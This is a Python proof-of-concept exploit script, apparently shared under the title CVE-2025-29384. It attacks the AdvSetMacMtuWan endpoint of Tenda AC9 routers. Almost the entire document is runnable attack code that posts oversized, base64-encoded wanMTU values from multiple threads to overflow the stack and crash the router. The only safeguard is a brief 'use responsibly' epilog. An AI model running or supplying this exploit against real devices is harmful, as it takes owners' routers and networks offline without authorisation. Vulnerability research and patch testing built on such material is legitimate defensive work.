Tenda AC9 `AdvSetMacMtuWan` Stack-Based Buffer Overflow (CVE-2025-29384)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126

import requests
import threading
import logging
import argparse
import base64
import random
import time
from concurrent.futures import ThreadPoolExecutor
from typing import Optional, Tuple

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler()]
)
logger = logging.getLogger(__name__)

TARGET_ENDPOINT = "/goform/AdvSetMacMtuWan"
DEFAULT_IP = "192.168.0.1"
HEADERS = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
    "Accept": "*/*"
}

class ExploitEngine:
    def __init__(self, target_ip: str, payload_size: int = 1024, threads: int = 5):
        self.target_url = f"http://{target_ip}{TARGET_ENDPOINT}"
        self.payload_size = payload_size
        self.threads = threads
        self.session = requests.Session()
        self.lock = threading.Lock()

    def _generate_payload(self) -> str:
        """Generate a randomized, encoded payload for obfuscation."""
        base_string = ''.join(random.choices("ABCDEFGHIJKLMNOPQRSTUVWXYZ", k=self.payload_size))
        encoded = base64.b64encode(base_string.encode()).decode()
        return f"wanMTU={encoded[:self.payload_size]}"  # Truncate to desired length

    def _send_exploit(self, attempt: int) -> Tuple[bool, Optional[str]]:
        """Send the exploit payload and handle response."""
        payload = self._generate_payload()
        try:
            logger.debug(f"Attempt {attempt}: Sending payload of size {len(payload)}")
            response = self.session.post(
                self.target_url,
                headers=HEADERS,
                data=payload,
                timeout=5,
                verify=False
            )
            return True, f"Status: {response.status_code}, Content: {response.text[:50]}..."
        except requests.exceptions.Timeout:
            return False, "Timeout - Target likely crashed!"
        except requests.exceptions.RequestException as e:
            return False, f"Exploit failed: {str(e)}"

    def _exploit_worker(self, attempt: int) -> None:
        """Threaded worker for exploit attempts."""
        success, result = self._send_exploit(attempt)
        with self.lock:
            if success:
                logger.info(f"Thread {attempt}: {result}")
            else:
                logger.warning(f"Thread {attempt}: {result}")

    def run(self) -> None:
        """Execute the exploit with multiple threads."""
        logger.info(f"Targeting Tenda AC9 at {self.target_url}")
        logger.info(f"Deploying {self.threads} threads with payload size {self.payload_size}")

        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = [
                executor.submit(self._exploit_worker, i)
                for i in range(1, self.threads + 1)
            ]
            for future in futures:
                future.result()  # Wait for all threads to complete

        logger.info("Exploit sequence completed. Check target status.")

def parse_args() -> argparse.Namespace:
    """Parse command-line arguments for customization."""
    parser = argparse.ArgumentParser(
        description="CVE-2025-29384 PoC - Tenda AC9 Stack Overflow Exploit",
        epilog="Use responsibly in controlled environments only!"
    )
    parser.add_argument(
        "--target",
        type=str,
        default=DEFAULT_IP,
        help="Target IP address of the Tenda AC9 router"
    )
    parser.add_argument(
        "--size",
        type=int,
        default=1024,
        help="Size of the payload to trigger overflow"
    )
    parser.add_argument(
        "--threads",
        type=int,
        default=5,
        help="Number of concurrent threads"
    )
    return parser.parse_args()

def main():
    """Main execution logic."""
    args = parse_args()
    print("[*] CVE-2025-29384 Exploit Engine - Advanced Edition")
    print(f"[*] Config: IP={args.target}, Payload Size={args.size}, Threads={args.threads}")

    engine = ExploitEngine(target_ip=args.target, payload_size=args.size, threads=args.threads)
    
    logger.info("Initializing exploit engine...")
    time.sleep(1)  
    engine.run()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        logger.error("Exploit interrupted by user.")
    except Exception as e:
        logger.critical(f"Unexpected error: {e}")